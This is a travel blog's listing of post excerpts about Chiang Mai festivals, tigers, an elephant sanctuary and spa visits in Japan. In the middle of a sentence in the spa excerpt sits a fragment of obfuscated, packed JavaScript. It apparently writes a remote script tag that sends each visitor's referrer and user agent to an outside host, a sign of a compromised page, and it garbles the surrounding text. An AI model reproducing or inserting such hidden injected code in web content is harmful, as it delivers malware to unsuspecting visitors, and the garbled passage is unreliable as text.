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Yi Peng and Loi Krathong

I wish I could say we had planned to be in Chiang Mai during Yi Peng and Loi Krathong.  But we didn’t.  We were looking for hotels and finally found one that had availability.  The owner responded that he’d be “happy to have (us) for the festival.” The festival? So we quickly looked it up […]

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Playing with Tigers

I consider myself to be a smart person.  I honestly do. This was, quite possibly, the dumbest thing we did on our trip.  But since we didn’t die, it also goes down as one of the coolest things we did on our trip.  That’s usually how it goes, right?  Amazingly awesome or darwin award. The […]

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That Time I Rode an Elephant

After leaving Cambodia we headed to Chiang Mai.  A cute, charming town in Northern Thailand.  One of our few “Scheduled” activities was a visit to the Thai Elephant Home.  Well rated on tripadvisor and recommended by a friend, we were excited to spend a day with these amazing animals! What sets this outfit apart from […]

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Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick. I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{})) for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start […]